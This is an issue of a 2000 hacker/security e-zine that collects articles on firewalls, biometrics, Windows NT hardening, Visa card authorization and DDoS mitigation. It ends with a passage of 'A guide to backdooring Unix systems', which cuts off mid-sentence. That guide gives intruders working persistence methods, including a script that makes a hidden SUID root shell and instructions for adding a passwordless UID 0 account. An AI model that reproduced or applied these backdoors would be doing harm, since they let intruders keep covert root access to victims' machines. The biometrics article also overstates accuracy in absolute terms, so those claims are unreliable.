================================= Default newsletter #8 01.03.2000 http://default.net-security.org ================================= Contents: --------- "Default is back" by BHZ [10.02.2000 -- Default 08-01] "Firewall basics" by /dev/null [10.02.2000 -- Default 08-02] "Biometrics security devices" by Atlienz [11.02.2000 -- Default 08-03] "Windows NT Security Check Part I" by Slash [14.02.2000 -- Default 08-04] "Credit Card authorization process" by daworm [17.02.2000 -- Default 08-05] "Trendy security" by Blue Boar [21.02.2000 -- Default 08-06] "A DDOS defeating technique based on routing" by Fernando P. Schapachnik [21.02.2000 -- Default 08-07] "A guide to backdooring Unix systems" by airwalk [28.02.2000 -- Default 08-08] Back issues: ------------- Default #01 - http://www.net-security.org/default/issues/default1.zip Default #02 - http://www.net-security.org/default/issues/default2.zip Default #03 - http://www.net-security.org/default/issues/default3.zip Default #04 - http://www.net-security.org/default/issues/default4.zip Default #05 - http://www.net-security.org/default/issues/default5.zip Default #06 - http://www.net-security.org/default/issues/default6.zip Default #07 - http://www.net-security.org/default/issues/default7.zip Mirrors: --------- http://www.nwo.net/default http://www.attrition.org/~modify/texts/zines/default http://www.projectgamma.com/archives/zines/default http://www.dark-e.com/default http://ech0.zort.org/default http://www.deepquest.pf/default http://hns.crolink.net/default http://packetstorm.securify.com/mag/default Subscribing: ------------- By subscribing to HNS mailing list you could receive latest breaking news in security world, information on recently discovered vulnerabilities, information about Help Net Security and get latest Default newsletter issues directly to your mailbox. http://www.net-security.org/info/list/ Default is back by Berislav Kucan aka BHZ bhz@net-security.org Greetings to all Default readers, We know that we were lazy (last default was released on 19.10.1999), but as you can see, Default will be out once again:) We have different scheme for new issues of default (thanks to Ladi and Null for the idea). Articles will be published on web as soon as they are written and after every 7 or 8 of them, they will be archived in txt file, and sent out like earlier versions of Default were sent. Thanks to all of the ppl that helped in bringing Default back (Ladi, Thejian, airwalk, /dev/null, WHiTe VaMPiRe, ZiM, Atlienz and others:) Default newsletter (http://default.net-security.org) Firewall Basics by /dev/null null@attrition.org Most of us have heard of firewalls. The idea of a machine whose purpose is to act as a sentry, blocking certain kinds of network traffic and allowing others is one most people involved in security and hacking can understand. But what exactly does a firewall -do-? How does it work, and what are its weaknesses? There are two basic types of firewall, or two ways in which a firewall can function -- it can either packet filter or proxy. Each function has its merits and flaws, and each function is best used for different reasons. The majority of what we know as firewalls use a combination of both functions. Packet Filtering ------ --------- A packet filtering firewall is the simplest type of firewall. In its most basic setup, it is a machine with two network interfaces. The firewall software operates strictly on the network layer and uses rules to determine which packets are forwarded from one interface to another by looking at the headers of each packet and determining whether or not they match the rule set. For this reason it's easy to understand that a packet filtering firewall's rule set consists of the information that can be found in a packet's headers -- in other words, a packet filtering firewall can sort packets based on the source address of the packet, the destination address of the packet, the protocol type of the packet (TCP, UDP, ICMP, etc), the source port of the packet, the destination port of the packet, flags set on the packet (SYN, ACK, FIN, RST, etc), or other such basic header information. The most common implementation of a packet filtering firewall is in the form of access lists on a router, or rules on a secured host with two network interface cards which can be used as a router. One step above standard packet filtering firewalls, but still considered part of the same architecture, are stateful packet inspection firewalls. The stateful inspection model was built off of standard packet filtering, but it adds more security checks -- it intercepts incoming packets from one interface until it has enough information from the packets it's received (using information such as TCP sequence numbers) to determine the 'state' of the connection; then, if the intercepted packets pass the rule set, they're forwarded on to the other interface. Using this information, the firewall builds dynamic state tables. It uses these tables to keep track of the connections that go through the firewall -- rather than allowing all packets that meet the rule set's requirements to pass, it allows only those packets which are part of a valid, established connection. Packet filtering firewalls are popular because they tend to be inexpensive, fast, and relatively easy to configure and maintain. Most companies already have a router on which they can set up a rule set, or can easily get a host with two network cards. Even stateful packet inspection firewalls are faster than the proxying alternative, because the examination of the packet is done on the network layer. The drawback to packet filtering firewalls lies in reduced security. Because only the packet's headers are considered, a packet filtering firewall does not protect against attacks directed at an application. For instance, if a packet filtering firewall was set to allow incoming email from the internet in general, then an attack on the SMTP service itself would pass through the firewall without problem. In other words, as long as the rule set is passed, a connection is made directly from outside the firewall to inside the firewall. To address that issue, there are proxying firewalls. Proxying -------- The fundamental difference between packet filtering and proxying lies in the fact that proxy firewalls do not route. A proxy firewall operates on the application layer and cares about the application itself -- it receives data from one interface, inspects it according to its defined rule set, and then passes the data to the other interface. A connection is never made from the outside to the inside; as far as the machines inside the firewall know, all their information is coming from the firewall. Unlike the packet filtering model, a proxy firewall truly keeps the internal and external systems separate. This is not, however, the primary reason why proxy firewalls are so attractive to organizations. Because the proxy firewall has full visibility at the application layer, it can look for far more specific pieces of information than a packet filter can; it can, for instance, tell the difference between a piece of email containing text and a piece of email containing a Microsoft Word document, or the difference between a web page using Java and a web page without. Rules can be made significantly more specific, as they can be designed around anything the firewall can see at the application level. As could be imagined, the greatest drawback to using this model is the sacrifice in speed. Since all traffic has to be inspected on the application level, a proxying firewall is significantly slower than the packet filtering alternatives. For the greatly improved security, performance suffers. This problem can be addressed by adaptive proxy firewalls. Just as stateful inspection firewalls are an enhanced version of packet filtering firewalls, the adaptive proxy (also known as dynamic proxy) architecture was developed from the standard proxy implementation. Combining the merits of both proxy and packet filtering firewalls, an adaptive proxy firewall works by analyzing the first part of a connection at the application layer, as a standard proxy firewall does; however, once the firewall has enough information to clear the traffic through the rule set, subsequent packets are passed -- filtered -- through the network layer. Similar to the case of the stateful inspection model, the firewall builds a dynamic table. Packets are inspected according to the table. Those that are considered to be a part of a valid, established session are allowed to pass with simple packet filtering; those that are considered part of a new connection are inspected on the application layer and proxied. In this way, it's always the proxy that's doing the real analysis for any connection; only after a session has been approved by the strong security of the application proxy does it pass to the weaker but faster packet filtering on the network layer. From a security standpoint, the most secure firewall is a standard proxying firewall, where all traffic is inspected on an application layer. However, that isn't always the most practical solution. A strictly proxy environment is slow and difficult to maintain. Proxies have to be written for new applications as they come out. An adaptive proxy, using a combination of proxying and packet filtering, is far more likely to be encountered. Default newsletter (http://default.net-security.org) Biometrics security devices by Atlienz atlienz@default.net-security.org Biometrics are unique biological characteristics which distinguish one person from another. Biometric security is based on identification and verification of a user's unique biological traits. Biometric security is a key component for security systems of the future. There are many biometrics including fingerprints, retinal scans and facial scans. However, speaker verification of users through their unique, individual voices, is the most flexible and efficient and least expensive way to deploy biometric security within a large volume, distributed user group. Your voice is distinctive to you alone; it can't be stolen or duplicated. Any time a user wants to sign-on to the system, a Voicerecognition device prompts the individual for a short pass phrase of random digits and then tests to see if this individual is who s/he claims to be. The system is robust enough that it can recognize authorized users even when they have a cold. With prompting there is no voice-password to forget. Prompting also protects this technology against replay attacks from hackers with digital recorders. One of the main things is that it does not require only a standard telephone or PC-based microphone, both readlily available and inexpensive compared to other biometric devices. Biological characteristics cannot be forgotten, misplaced, copied, borrowed, lost, stolen, or otherwise compromised. Reasons for biometrics ---------------------- - To ensure safety and security - To prevent stolen security badges, licenses, or property - To prevent someone from using false id badges or licenses - To prevent someone from stealing another person's identity. This is becoming a big problem in the US where people are using other people's social security numbers, credit cards numbers, long distance calling cars numbers, and bank account numbers - To prevent computer hackers from invading and tampering with email i+or internet accounts Finger-image scanners --------------------- Encrypted finger scans (not prints) are being considered for use by government administrators (not the police) to make it easier for people eligible for social assistance to receive their benefits quickly, and to protect their privacy in the process. The use of suitable encryption technology can protect privacy because the encrypted finger scan does not function as a unique identifier. It is only to be used for the purpose of authenticating eligibility for services or benefits, therefore, it doesn't stigmatize those involved. Finger-image identification is fast, affordable and non-intrusive. Fingertip patterns 99+ percent Eye patterns 96 percent Voice 94 percent Hand geometry 90 percent Retinal scans ------------- Retinal scans take the iris and blood vessels fromt hte back of the eye to identify someone. the retinal scanner can take a picture of a person up to 3 feet away, and the user doesn't have to interact with the device. Retinal scans have been used in high level security areas, which include military sites and bank facilities. Retinal scans are the best biometric devices with no false rates. Facial scans ------------ Facial recognition is very secure and efficient, because the image is not stored.Therefore computer hackers can not try to relocate the facial image to break into other people's accounts. It is also very safe and secure since it has a very low false reject rate. It is very fast since it takes less than one second to recognize you. Even eyeglasses, make-up, or facial hair doesnt interfere with recognizing your face. Speech recognition ------------------ Speech recognition is used in offices, labs, and banks. it is specifically focused on the distinct characteristics of the voice, which can not be impersonated. Impersonators focus on human hearing and do a bad job. Speech verification uses the biological and behavioral factors of te voice, which can not be impersonated. Methods of verifications ------------------------ Verification is a "one-to-one" comparison that compares the new identifier against a previously generated identifier stored in the database or on an ID card. (The stored identifier is selected on the basis of other information, such as a name or account number.) If the new identifier matches the old, the person is who he or she claims to be. Certification is a "one-to-many" comparison that compares the new identifier against all of the identifiers in the database. It is most often used to certify that the person at the workstation is not known to the system under a different name. Should a match be found, the system typically returns - for review and investigation - a name, account number, and possibly photograph and replica signature of person associated wuth the previously stored identifier. Enrollment is the process of entering a new identifier into the database, usually along with other information about a client, customer or applicant. Enrollment typically begins with a one-to-many certification match to make sure that the enrollee is not in the database under another name. If no match is found the new finger image identifier - and the associated information - are added to the database. The use of minutiae extraction software rather than the usual template method makes large scale databases possible (comparable in size to law enforcement Automatic Fingerprint Identification Systems) and simplifies future expansion. The software computes a 1024-byte finger-image identifier record (FIIR). The relative ly small size of the finger-image-identifier data record means that modern workstations, networks and desktop computers can perform real-time validation, certification and enrollment in most identification solutions. The FIIR can be compressed to 432 bytes for solutions requiring one-to-one validation and can easily be stored, for example on magnetic strip, dataglyph or other "chipless" smart cards thereby considerably reducing costs. Default newsletter (http://default.net-security.org) Windows NT Security Check Part I by slash tcsh@b0f.i-p.com Introduction ------------ What do you do when you face the task of evaluating the security of a Windows NT system? The only thing You can do is to manually evaluate the security of a system. Although this can be a daunting task, you will find it a little easier if you follow the steps provided here. This discussion provides quick steps for analyzing the basic security of a server. Short Tips ---------- The following settings can serve as the basis for building a very secure system even if they don't necessarily apply to a network server. - All drives on the system must be formatted for the NT File System, not the FAT file system. To check drive status in Windows NT 4.0, right-click on the drive and choose Properties. - The Security Log should not overwrite old events. To check this, open the Event Viewer and choose Log Settings from the Log menu. The option called "Do Not Overwrite Events (Clear Log Manually)" should be enabled. - Check Your logs daily. They tell a lot if an intruder tried to brake in. - Do not allow blank passwords. It allows a hacker to get into the system and easily gain administrator privileges. To check this, open the User Manager for Domains and choose Account from the Policies menu and disable Permit Blank Passwords in the Minimum Password Length field. This will require that you choose the "At Least x Characters" field and specify a value for x. - Disable the Guest account. In the User Manager, double-click on the Guest account and put a check mark on the item called "Account Disabled." Having a Guest account means getting hacked. Leave it only if that's absolutely necessary. - Disable NetBIOS over TCP/IP network bindings where ever you can. - Block all non-essential TCP/IP ports, especially UDP 137 and 138 and TCP 139. This may save You from some DoS attacks. Logging Options --------------- Another good thing is to enable the Account Lockout option to prevent unauthorized users from attempting to access the system by guessing passwords or brute forcing it. For optimum security, never run the server with this option disabled. Set the following options as appropriate: - Lockout after x bad logon attempts. Set x to 3 to 4. - Reset Count After x minutes Set to approximately 20 minutes to avoid unnecessary lockouts. - Forcibly disconnect remote users from server when logon hours expire Set this option to prevent after-hours activities or disconnect systems that were left on - User must log on in order to change password Set this option to prevent users whose passwords have expired from logging on. The administrator must change the password. User Accounts ------------- After You setup the domain account, check the status of each user account and group in the User Manager. Check these options as follows: - It's a good thing to check the password options. Should the user be able to change the password? Does the password never expire? Is this account disabled? If it is disabled, has the user left the company? If so, consider removing the account. - Click the Groups button to determine which groups the user belongs to. Is membership in these groups appropriate for the user? What rights and permissions does the user obtain from the groups? What access does the group have to other domains? - Click the Hours button to evaluate the times that the user can access the network. Make sure no one can log on after hours if that is your policy. - Click the Logon To button to evaluate which computers the user can log on to. Make sure that no one can log on from a computer in an unsupervised area. - Check for old user accounts and remove them. - When setting up temporary accounts be sure to set an expiration date for the account, and assign rights and permissions carefully. Conclusion ---------- In this issue I explained how to improve security by taking care of user accounts and logging options. Follow them step by step to help secure Your server. If You don't take care of Your system, who will ? In the next issue I'm planing to explain user rights on a NT system, give You some short tips about user groups and help You to setup the Administrators account for best performance and security. Feel free to discuss any of these topics on Default webboard (http://net-security.org/webboard.htm). More to come in Part II of "Windows NT Security Check" Default newsletter (http://default.net-security.org) Credit Card authorization process by daworm daworm@ech0.de http://www.ech0.de I will try to show you a typical authorization process of cards given in Visa system (with use the VisaNet system). Banks serving, which have connection between their own system and with Visa Base I system (I mean connection on-line) can send information across this connection. To do it they have to have special kind of software, making possible sending of information in special format required by VisaNet. Information can be send by using special hardware with is property of Visa. The hardware is called interface processor (MIP), or his smaller version which is interface processor installed on personal computer (MIP/PC). Main function of this devices is activity as interface among VisaNet computer system and others computer systems of Visa members. Serving Banks, which do not possess recommended software in their system, but possess MIP/PC have access to Visa Base I across special functions in terminal belonging to MIP/PC. It means that worker of bank can introduce question for authorization to MIP/PC using a key board of this terminal. Then MIP/PC executes coding messages and sending it to VisaNet system. Other way of access to Visa Base I is possibility of use telex. Message should be send in special format to VisaNet system called telex interface processor (TIP). When TIP will receive message will start exchanging it on Visa Base I format and sends to VisaNet system. Such solution is called Auto Telex System. We have three choice of sending message of question for authorization in Visa Base I system, them are: - Connection on-line - Connection across function in terminal MIP/PC - Auto Telex System connection to TIP All of them wear common name VisaNet Access Point (VAP). In chance of transaction executed in cash machine or in electronic shop terminal, in which you need to put PIN code, exists necessity of coding PIN number. It's executed by computer cooperating with HSM (Hardware Security Module) which is used to safe sending of PIN code in VisaNet net. Visa Base I after receipt a pronouncement for authorization first checks basic elements of question like: it will check if pronouncement came from recognized bank. System acts this checking Visa Base I identification number of operating bank. It's called BIN (Base Identification Number). It's six digit number sent by bank operator together with pronouncement for authorization, which shows to VisaNet system from who the pronouncement come. No one should deceive this this number with BIN (Bank Identification Number) number being found on card - they are two independent from oneself numbers possessing only similar name. The next step of authorization is that Visa Base I seeks out relating instructions how to proceed with pronouncements for authorization drawer-bank of card. Bank Identification Number is identical like first six numbers of card. Drawer-bank of card as a rule asks for sending him all of pronouncements for authorization - at times however bank occupies personally only with transactions topping settled limit and not doing nothing with small transactions which leaves to independent of examining to VisaNet system. On base delivered given about transaction drawer-bank of card checks whether can give agreement on pronouncement for authorization. Additionally (if question contains coded PIN number) bank verifies delivered PIN number and other information delivered with this number. Answer - negative or affirmative - drawer-bank of card sends back to operator bank, which stepped out for authorization. Answer is sent also by means Visa Base I. If bank sends affirmative answer adds to it generated by oneself code of authorization, which hits together with answer to servicer. Servicer after receipt of answer together with code of authorization is obliged to his inscriptions as a proof of sale in suitable blank space called Authorization Code. Of course if authorization is executed through electronic terminal then code of authorization will be printed automatically. All talked over process - from moment of dispatch of question for authorization to moment of receipt the answer does not last more than several of seconds - without regard on distance among operator bank and drawer-bank of card. If drawer-bank of card does not wish oneself to receive all of authorization questions or if connection with bank is not possible (e.g. in consequence damage) then in such situation pronouncement for authorization has to examine by VisaNet system and VisaNet need to give answer in name of drawer-bank. Such situation wears name Stand-In Processing (STIP). VisaNet system during converting authorization STIP complies to instruction settled by drawer-bank of card. If sum of transaction is above certain values, then pronouncement sends oneself immediately to drawer-bank of card - skipping of course situation of lack physical connections with bank. Value above of which STIP Visa sends question for authorizations is called Advice Limit. Except Advice Limit every drawer-bank cards fixes also limit of exhibitors which is called Issuer Limit. If value of transaction is smaller from Advice Limit, STIP Visa checks whether number of card is not placed in base of stolen cards numbers. Base of stolen cards numbers is kept in Visa Base I. Data to bases (numbers of stolen or lost cards) are delivered by banks giving Visa cards. This base contains also numbers of cards on which one should turn special attention that are bills of cards of persons especially important. When number of card becomes identified from number from base, STIP Visa undertakes suitable activities, e.g. if number will be figured as number of card stolen, STIP Visa will ask servicer about confiscation of card. If value of transaction is higher then Advice Limit and smaller then Issuer Limit, then Visa again examines pronouncement for authorization. However in such chance process of transformation is a little more complicated, because except base of stolen cards comes checks of other base called Activity File. Activity File contains more detailed instructions from banks putting out cards. These instructions controls use of cards, across settlement of maximum numbers of use of card and maximum general sum which one can be pay by using card in period few days. These instructions are also called parameters of Visa Base I. This is the end of fixing answers on authorization question, which will be sent to servicer. Default newsletter (http://default.net-security.org) "I encountered an article that denies some facts I wrote and I am publishing it so you can pick your side.....IMHO it doesn't convince me but your here to decide." Atlienz atlienz@default.net-security.org Here is the article writen by Blue Boar (BlueBoar@thievco.com): (reprinted with permission) Thievco - Trendy Security - Rant #3 1/20/99 Most of the people who are going to read this are aware of the popularity that security issues have enjoyed recently. For the most part, this is good. This means that (given a flashy enough exploit) security problems will get popular press, vendors will be publicly embarrassed, and all of us get high paying jobs. Of course, as with anything getting press, there are opportunities for scams. These scams include bad "security" software, articles offering bad security advice, consultants preying on clueless customers, ISPs claiming to have more secure networks, etc.. I won't comment (at this time) about everything mentioned in the previous two paragraphs. In fact, those two paragraphs cover nearly our entire job as hackers. Our job as hackers is to expose the scams via the popular press. End plug for hacker work. I'm writing this today because of two things I keep reading about, which as far as I'm concerned, are scams. These are biometrics and public access terminals. >From a security point-of-view, if these two technologies gain popularity, we're going to be in a lot of trouble. First, Biometrics: For those who aren't familiar with the concept of biometrics, it's the practice of using a measurement of one's body part(s) as an authentication mechanism. For example, a fingerprint reader or retina scanner. This measurement becomes your password. The idea is that at your installation, all the workstations have a finger reader or eyeball scanner. You walk up to a workstation, door, or whatever, scan your part, and in you go. Spot the problem yet? When you scan your body part, those measurements are converted into some sort of digital representation. That string of bits that is the digital representation is a STATIC PASSWORD. Worse, it's a static password that you can't change, or perhaps can only change a limited number of times. With a biometric string, there is no concept of a "bad" or "good" static password. All you have is the string of bits that represent your body measurement. Keep in mind that this measurement is NOT necessarily secret, either. I'm not even talking about the James Bond scenarios where they lift your prints from a discarded soda can, or chloroform you, measure every orifice, and replace everything in your house with an exact duplicate. Think about what happens when this starts to become REALLY popular. The bank wants to scan your eyeball to get cash out of the ATM. The DMV wants your prints to get a driver's license. The grocery store wants to scan your face to accept your check. Various government agencies already fingerprint and photograph you and keep a permanent record if you get picked up, conviction or not. Exactly how bad would this be? Imagine using your social security number as your only password, on every system you have access to. Why am I so worried about this? Because I'm seeing many, many people just assume that biometrics are the ultimate authentication mechanism. I'm not just talking about the clueless people either. I subscribe to a number of security mailing lists, and I'm shocked at the number of people, who I think should know better, make statements like: "Well, OTP cards are OK for now.. until we can widely deploy biometrics." NO, NO, NO! An OTP card with a halfway decent implementation is BETTER! There is a general fallacy in the information security world. People, even experts, tend to believe that something less familiar is more secure. I don't know the psychology behind it, but I've seen it many times. That's why people used to insist that NT was more secure than unix. Now NT is familiar, and we know better. So, I'm screaming about this biometrics mess because I don't want to see us go down that path. I don't want us to spend 10 years proving that it wasn't such a great idea. Now, having said all that, let me take care of some of the pro-biometric arguments right up front. Do I think biometrics are completely useless? No. Biometrics are useless across a network, or on a system out of my personal control. Where WOULD they work? I would use biometrics as a PIN replacement on some sort of sealed security device that I own and control. For example, an OTP card. I would be happy using my fingerprint on my OTP card instead of punching in a PIN code. Why? Because the biometric info itself (or a hash, or any product of it) doesn't pass to another system. No one else has to have a record of my print. I would NOT use it as a PIN replacement at my bank, because I would have no choice about my biometric "PIN" matching at the bank and anywhere else. Second, Public-Access Terminals: I've also been reading a number of articles about "some day in the future" when public kiosks with Internet access are available everywhere, and you don't even need to take your laptop with you anymore. You simply plug in your smartcard, and read your e-mail, in the middle of the mall, at your hotel room, etc.. This is so wrong, it's not funny. These things are called web kiosks, public access terminals, e-mail stations or something else. I'll call them PATs. You're using a terminal that you have no idea how secure it is, who owns it, or what's been done to it. 1: Payment issues. Today, in the United States, there is really no such thing as a smart card, at least not as a mass-market payment device. For this purpose, we use credit cards. A couple of times now I've used PATs, once in a bar in Boston, and once at an airport lounge in Chicago. All I had to do was swipe a credit card, and I had Internet access. No PIN code, no typing in the cardholder name, just swipe and go. All you need is physical possession of a credit card. All of the usual credit-card-over-the-net issues apply. Maybe more so, since this PAT has been physically accessible to many people before you. Some PATs may be on the Internet full-time. All the better to break into them remotely and collect credit cards. Many of them run Windows, so development of an appropriate trojan or exploit should be quite do-able. I'm not one of those people who is super paranoid about using credit cards over the Internet. Credit cards have the best fraud protection of any payment mechanism. If you are paranoid about that sort of thing, you'll want to stay away from PATs. 2: Privacy issues. So far, these PATs provide only public Internet service. Still, this is a problem if you're, say, a Hotmail user. Any web site you visit with any sensitive information, such as a username and password, may be vulnerable. It may be vulnerable because of someone breaking into the machine and monitoring all activity, or something as stupid as the next guy checking the history table in the browser. Same for telnet, POP, FTP or any protocol. Don't forget about the 100 people standing around in viewing distance of the terminal either. What happens when there are PATs that start advertising themselves as "VPN ready". Just swipe your card, punch in your password (or your fingerprint) and you're connected to the corporate net. If it's something you wouldn't want the entire world to see, don't access it from a PAT. 3: Public Attack Terminals. Another meaning for PAT. These public terminals are to crackers what payphones are to (evil) phreaks. An anonymous place to attack from. How do I know? The company I work at puts on a number of trade shows each year. For the last couple of years, we have provided Internet access via banks of PCs at these shows. I have a class C that I drag around the world for these shows that I use for this. These machines aren't firewalled, lest it break some new Internet media toy. They can be reloaded quickly if hacked. My name is on the in-addr.arpa whois for this class C. Every time, for the last few shows, I get a call from someone wanting to know why I'm attacking them. Seems that someone at the show is trying out IMAP exploits, doing network scans, etc... By the time the message reaches everyone, the attacker is long gone. The best I can do is explain to the attacked party what that network is used for. Most people are very understanding, and they simply block that class C. Conclusion: As someone who is concerned about security, you need to do what you should always be doing, apply some critical thinking to the use of new technologies. Nothing that I've pointed out here is really news. Anyone who would bother to read this could figure it out himself or herself. Occasionally though, I find that I need to have something pointed out to me to make it obvious. Sometimes, you need all of the problems brought together in one spot to really see how bad an idea something is. Default newsletter (http://default.net-security.org) A DDOS defeating technique based on routing by Fernando P. Schapachnik fernando@via-net-works.net.ar Disclaimer ---------- The opinions expressed here are mine only. My current employer does not hold any responsability over them. This is only a proposal that must be considered as _draft_ or _work in progress_. It is made available to the Internet community as a contribution to fight the DDOS threat. It is published as and 'thinking starting point' rather than as closed solution. Please be aware that assesments made here could be wrong. I'd love to here corrections and refutals. Abstract -------- This paper describes a technique that -hopefully- can be used to defeat the recent DDOS attacks. The solution presented here is bases on routing. It requires a certain amount of extra network infrastructure. Introduction ------------ Recent attacks to big Internet sites such as Yahoo and CNN has possed a threat on Internet security. The problem with these DDOS is that packets come from spoofed addresses and tracking the source becomes a very complex task involving cross-AS cooperation and a huge amount of time. Some measures have been proposed, but they are based on filtering forged packets at the origin, and this means action by an -a priori- uniterested party. Furthermore little has been proposed to stop attacks as they are being produced. This paper introduces a method that can be used in some situations to avoid this kind of attacks in a short time fraim. It's efectivy increases if it is combined with origin-analysis techniques. Description ----------- We will introduce the proposed technique by means of an example. Let's suppose example.com has an important web site. During the scope of this paper we will asume we are not interested on any other service than www, although this method can be applied to protect another services (but not all of them). Another simplification will be to assume that example.com has only one link to the Internet. We can draw example.com current infrastructure like this: +--------+ -a--| | +---------------+ | | | | +-----------------+ -b--| ISP +-----d------+ example.com's +-----+ www.example.com | | | | border router | +-----------------+ -c--| | +---------------+ \ +--------+ \ 10.0.0.2 10.0.0.1 Being: a, b and c the ISP links to the Internet, and d a link between the ISP and example.com. Let 10.0.0.1 be the IP assigned to the internal interface of the border router and 10.0.0.2 the IP assigned to www.example.com public web server. It can be argued that there must be a firewall in between, but this is not relevant to the proposal. The proposed technique is about changing the IP addresses of the hosts being attacked and diverting the IP block under attack to a stub network where traffic can be analyzed to track it down, or just dropped. In order to be ready to a massive DDOS attack, example.com should change its network structure to something like: +--------------+ +----e-----+ stub network | | +--------------+ +--------+ | -a--| | | +---------------+ | | | | | +-----------------+ -b--| ISP +-+---d------+ example.com's +-----+ www.example.com | | | | border router | +-----------------+ -c--| | +---------------+ \ +--------+ \ 10.0.0.2 and 10.0.1.2 10.0.0.1 and 10.0.1.1 +---------------+ | example.com's | | DNS server | | where | | www=10.0.0.2 | +---------------+ In case a DDOS attack against example.com is detected, the following actions should be carried on: 1- dial up connection to example.com's externally located DNS server (possible many of them in order to complicate DDOSing both www and DNS servers) to make www.example.com point to 10.0.1.2. 2- phone call to ISP to route traffic to 10.0.0.x to the stub network and start routing the 10.0.1 network. These simple steps would divert the attack to a place where it doesn't disrupts example.com functionality and where it can be tracked down. Of course the attacker can notice the change, and: a) attack also the new network. In this case his 'firing power' against each network would be halfed. This opens the chance to example.com to have many networks to be used for such cases. Hopefully, a sufficient number of networks would make the amount of traffic received by each one large enough to be handled by undelying infraestructure. b) attack _only_ the new network. example.com can switch back to the old one, or even a new one. Maybe this is the best move the attacker can made, but if he does the comprised machines would create a pattern of traffic very easily identified by a distributed network scanner that can consult a central site for patterns and can _hopefully_ be run on periodic bases by ISPs concerned about Internet safety. Conclusion ---------- A method for defeating DDOS attacks on real time has been depicted. This method is not bullet proof and requires a certain amount of extra network infrastructure. Publishing it in its actual form main purposed is having it enhanced by the Internet community. Default newsletter (http://default.net-security.org) A guide to backdooring Unix systems by airwalk j0ker@rocketmail.com http://interscape.net-security.org Introduction: -------------* when a hacker intrudes a system, he or she is confronted with a difficult task -- keeping access to that very same system. the intruder must know all weaknesses in order to exploit them and to gain constant access to the server. this is not an easy task. a backdoor, or a trojan, is a program which gives access, permissions and/or privileges to hackers so they can keep 'owning' the targeted system. this, however, cannot be generalized; backdoors do many different things, but their main goal is to keep giving access to restricted areas. there is a difference between a backdoor (also called a trapdoor) and a trojan (also called a trojan horse): a backdoor is placed after a hacker has hacked his way into the system (it is only used to give further access to the intruder), while a trojan is a program which will give the hacker access independant to whether he/she already has access or not. basically, a trojan is used when a potential intruder has no more ideas on how to get into the system so he writes or uses an already written program to fool the administrator, or any other user, on the target system into giving him access and some other things (like allowing uploading/ downloading of files, etc...). in this article i will write about how one places and makes backdoors and simple trojans in the Unix system environment. i will present some techniques which might be of interest to administrators as well as to people on the other side of the playground. having and keeping remote access to the system even long after the actual penetration is one of the biggest challenges in security of the Unix system. Cases throughout the history: -----------------------------* 'Historia est magistra vitae' (History is the teacher of life). throughout the history there have been many examples of hidden trojan horse and backdoor programs placed in free and even in commercial software. here are some important cases: the Crackerjack case: a trojan horse was placed inside the code of this well-known Unix password cracker. other than just cracking (brute-forcing actually) Unix passwords, the program also secretly reported the cracked passwords to the person who made the trojan horse. of course, the author immediately changed the code and made a newer version. the SATAN case: an early version of SATAN (1.0) had malicious code in one of the binaries shipped in the package -- fping. whoever modified the code had physical access to the machines holding the code (at Temple University). he/she altered the main() function in fping so that the program would also add a user entry to the /etc/passwd file (username: 'suser'). using that very same username, the programmer got remote access to machines that had SATAN installed. the quota trojan case: in 1996 a trojanized version of quota (a Unix tool for checking disk qoutas for users) was distributed on the Internet. the trojan copied passwords and NIS maps and e-mailed them to the author of the code. the ircII trojan case: back in 1994, ircII (Internet Relay Chat client) version 2.2.9 also had a trojan horse. basically, the trojan gave access to systems to the author of the code. the TCP Wrappers case: there was a trojan version of a popular Unix tool TCP Wrappers on the Internet. it sent an e-mail to the authors of the trojan upon compilation with the information which gave them root access to all hosts that had TCP Wrappers installed. the infamous Slackware backdoor: in Linux Slackware releases 3.2 and earlier, there was a package called sample_users.tgz. this file would install three users ('satan','gonzo' and 'snake') without passwords. this gave free access to hackers. of course, these aren't all examples of backdoors and trojan horses on Unix systems -- these are just some of them (there have been many more, for example the wu-ftpd trojan horse). my point is, trojan horses are a big threat because they can be everywhere and they can do virtually anything. Backdoor techniques: --------------------* once you penetrate a system, it is hard to get the root account again, if the admin found out that you hacked his/her system. you would then have to look out for new security holes, or you'd have to social engineer/trojan horse your way into the system. a technique used to avoid this, hence giving you root access again, is called backdooring. there is a wide variety of backdoor techniques, going from simple ones like adding an entry to the /etc/passwd file, to more complex ones like opening a service daemon. the most used techniques by hackers are: the rhosts backdoor (works by adding a string of '+ +' to the users' rhosts file, so that anyone from anywhere can rlogin or rsh his way into the system), the login backdoor (a modified version of the Unix login program -- if an intruder types in a special backdoor password, regardless to what username he used, he would immidiately get a shell for that specific user), telnet daemon backdoor (a modified version of the in.telnetd file, which allows access to hackers if they have a specific terminal type (since the daemon checks for this in the process of initialization), like a special string or password), services backdoor (new network serives, or old ones which are not being used, are replaced by backdoor services; usually a binded shell to a TCP port, which, when given a special password, gives access to hackers (actually, a modified version of inetd.conf)), network traffic backdoors (shells which very directly giving output to a specified port, usually TCP, UDP and ICMP (since most firewalls allow ping packets to pass through the network, this is a good idea for a message-transfer backdoor)), library backdoors (backdoors placed in library files (something like the DLL files on MS Windows machines) which would give access to intruders, such as modifying the crypt() routine to pass specific passwords), cronjob backdoors (using the cron (a program which runs programs at a specific time and date), intruders could place shell backdoors to run at a specific time), /etc/passwd file backdoors (a simple backdoor -- placing a new user into the Unix /etc/passwd file with the root user ID and with no password), the SUID shell backdoor (a copy of the root shell which gives root access to any user who runs it -- this has a limit since you must have a non-root account on the system), etc... as you can see, there are quite a lot of backdoor techniques. choosing which are the best and why depends on the system you want to exploit. in this section i will go through some techniques for placing and using backdoors in the Unix environment. * the SUID shell backdoor: i recommend the use of this technique only if you have constant non-root access to the system (ie. through another user). it is a copy of the root shell with the SUID flag bit set. what this means is that it will run with root permissions, and will thus give you the root shell (#). here is a simple shell script which will do the job for you, just remember to pick a safe place for the backdoor: -- #! /bin/sh cp /bin/sh /tmp/.root_shell chmod 4755 /tmp/.root_shell # or 'chmod a+s /tmp/.root_shell' -- of course, to be able to run this script (to install the backdoor) you must be root. the shell will the be copied to the /tmp directory under the name '.root_shell'. i recommend that you move it somewhere else if the system cleans the temporary directory on a regular basis. you could rename the backdoor to '...', which would confuse an ordinary user. to run the backdoor, simply type in './.root_shell' from your prompt, and you will become root (to check, make a 'whoami' and a 'uid'). * the /etc/passwd backdoor: this involves adding a user to the /etc/passwd file with root ID (0) and without a password. you can do this manually. just remember to add all seven fields, and that your login and GECOS information looks normally. when you telnet or ftp to the machine (hence, when inetd calls the login program) you simply type in your login and password (none), and you are immidiately dumped to the root shell. since this is a well known technique, i recommend that you use a similar backdoor. copy the original /etc/passwd file to another place on the system, hide it, and add your backdoor user. then make a back-up of the original /etc/passwd file, repace it with 